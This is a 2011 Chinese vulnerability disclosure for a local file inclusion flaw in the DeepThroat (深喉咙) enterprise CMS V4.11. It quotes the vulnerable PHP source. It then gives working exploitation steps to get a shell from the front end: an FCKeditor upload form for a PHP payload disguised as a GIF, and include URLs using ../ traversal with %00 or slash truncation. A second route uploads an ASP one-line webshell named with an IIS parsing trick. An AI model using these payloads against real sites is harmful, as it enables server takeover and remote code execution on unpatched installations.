深喉咙企业网站生成系统V4.11 本地包含漏洞
时间:2011-04-22 来源:村长
发布日期:2011-04.22
发布作者:村长
漏洞类型:文件包含
漏洞分析:
index.php 源码
/*--------------*/ /*省略不必要代码*/ /*--------------*/ $_REQUEST = cleanArrayForMysql($_REQUEST); $_GET = cleanArrayForMysql($_GET); $_POST = cleanArrayForMysql($_POST); $request = $_REQUEST; //上面传参都进行字符串转义,对于 ../ 没有任何影响 /*--------------*/ /*省略不必要代码*/ /*--------------*/ $request['m'] = !isset($request['m'])?'':$request['m']; //m没有过滤 $params['model'] = empty($request['m'])?$menu_arr['type']:$request['m']; $request['a'] = !isset($request['a'])?'':$request['a']; //a没有过滤 $params['action'] = empty($request['a'])?'index':$request['a']; /*--------------*/ /*省略不必要代码*/ /*--------------*/ function layout_part($style='') { global $params,$request; //如果本次升级影响了parts内sql的执行, 请手动注释destorydb函数体代码,切记不要删除 destorydb(); if(!empty($style)) $style = '_'.$style; $part_path=ABSPATH.'/skins/'.STYLENAME.'/parts/'.$params['model'].'_'.$params['action'].$style.'.php'; //含m和a参数的路径 $content_part_path=ABSPATH.'/content/'.$params['model'].'/parts_'.$params['action'].'.php'; //含m和a参数的路径 if(is_file($part_path)) require_once($part_path); //包含漏洞出现 BY:村长 elseif(is_file($content_part_path)) require_once($content_part_path); //包含漏洞出现 BY:村长 else echo $part_path; echo $content_part_path; echo '<span style="color:RED"><strong>您当前选择的信息所在的分类栏目或频道可能已经被删除或不存在,请检查一下,该信息所在的栏目情况以及栏目是 否存在!</strong></span>'; // 如果本次升级影响了parts内sql的执行, 请手动注释如下代码recoverdb函数体代码,切记不要删除 recoverdb(); isComments(); }漏洞利用(前台 GETSHELL):
IIS或者某些apache版本下php文件系统可以进行路径截断,例如://///////////////////////////////// 或则%00
1.先上传PHP恶意代码的图片格式文件,复制上传源码 cun.html:
<form id="frmUpload" enctype="multipart/form-data"action="http://127.0.0.1/editor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
假设得到图片路径 /upload/Media/cunzhang.gif (利用的是FCK的,测试上传变"."为"_",FCK的不能直接上传为诸如1.asp;.jpg的文件的)
3.直接输入地址:http://127.0.0.1/?m=../upload/Media/cunzhang.gif%00
或则 输入 http://127.0.0.1/?m=../upload/Me ... ///////////////////(若干)
嗯,再给个后台拿SHELL的方法吧,方面给那些不能包含,能进后台的朋友说下
后台 GETSHELL:
依次点击 =》数据库管理=》数据库恢复=》浏览上传
上传文件cunzhang.asp;.sql 内容为 <%Y=request("cun")%> <%execute(Y)%>
得到地址http://127.0.0.1/temp/data/cunzhang.asp;.sql (利用IIS的解析漏洞,就是SHELL了)
标签分类: